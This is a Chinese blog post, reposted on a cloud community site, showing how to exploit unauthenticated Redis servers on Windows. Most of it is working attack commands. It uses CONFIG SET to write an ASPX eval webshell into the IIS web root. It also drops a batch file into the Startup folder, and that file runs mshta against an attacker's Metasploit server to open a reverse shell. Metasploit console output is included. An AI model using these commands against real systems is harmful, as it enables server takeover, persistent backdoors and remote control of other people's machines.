前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >redis未授权在win下的利用

redis未授权在win下的利用

作者头像
鸿鹄实验室
发布2021-04-15 13:04:04
1.1K0
发布2021-04-15 13:04:04
举报
文章被收录于专栏:鸿鹄实验室鸿鹄实验室

点击上方“蓝字”带你去看小星星

使用redis客户端或者telnet连接redis服务器

代码语言:javascript
复制
⚡ root@kali  redis/src  ./redis-cli -h 192.168.1.124 -p 6379
或者
⚡ root@kali  ~  telnet 192.168.1.124 6379

连接后输入info查看连接情况

利用方法:

1、写入webshell

代码语言:javascript
复制
⚡ root@kali  redis/src  ./redis-cli -h 192.168.1.124 -p 6379
192.168.1.124:6379> CONFIG SET dir C:/inetpub/wwwroot
OK
192.168.1.124:6379> CONFIG SET dbfilename evil.aspx
OK
192.168.1.124:6379> set webshell "<%eval request('x')%>"
OK
192.168.1.124:6379> save

2、反弹shell

首先加载这个脚本(PS_shell.rb):

代码语言:javascript
复制
msf5 > use  exploit/windows/redis/PS_shell  
msf5 exploit(windows/redis/PS_shell) > show options

Module options (exploit/windows/redis/PS_shell):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL for incoming connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                   no        The URI to use for this exploit (default is random)

Exploit target:

   Id  Name
   --  ----
   0   Automatic

msf5 exploit(windows/redis/PS_shell) > set uri
set urihost  set uripath  set uriport  
msf5 exploit(windows/redis/PS_shell) > set urip
set uripath  set uriport  
msf5 exploit(windows/redis/PS_shell) > set uripath 123456
uripath => 123456
msf5 exploit(windows/redis/PS_shell) > show options

Module options (exploit/windows/redis/PS_shell):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL for incoming connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH  123456           no        The URI to use for this exploit (default is random)

Exploit target:

   Id  Name
   --  ----
   0   Automatic

msf5 exploit(windows/redis/PS_shell) > exploit 
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 192.168.1.149:4444 
[*] Using URL: http://0.0.0.0:8080/123456
[*] Local IP: http://192.168.1.149:8080/123456
[*] Server started.
[*] Place the following DDE in an MS document:
mshta.exe "http://192.168.1.149:8080/123456"
msf5 exploit(windows/redis/PS_shell) >

然后在redis-cli下执行

代码语言:javascript
复制
192.168.1.131:6379> config set dir "C:/Users/liukaifeng01/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup"
OK
192.168.1.131:6379> config set dbfilename 1.bat
OK
192.168.1.131:6379> config set dbfilename 1.bat
OK
192.168.1.131:6379> set x "\r\n\r\mshta.exe "http://192.168.1.149:8080/123456"\r\n\r\n"
Invalid argument(s)
192.168.1.131:6379> set x "\r\n\r\mshta http://192.168.1.149:8080/123456\rOK\r\n"
192.168.1.131:6379> save
OK

文件已经成功写入

我们这边手动重启靶机,就可以反弹一个shell了。

喜欢记得点赞关注哦^^

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-01-18,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 鸿鹄实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
云数据库 Redis
腾讯云数据库 Redis(TencentDB for Redis)是腾讯云打造的兼容 Redis 协议的缓存和存储服务。丰富的数据结构能帮助您完成不同类型的业务场景开发。支持主从热备,提供自动容灾切换、数据备份、故障迁移、实例监控、在线扩容、数据回档等全套的数据库服务。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档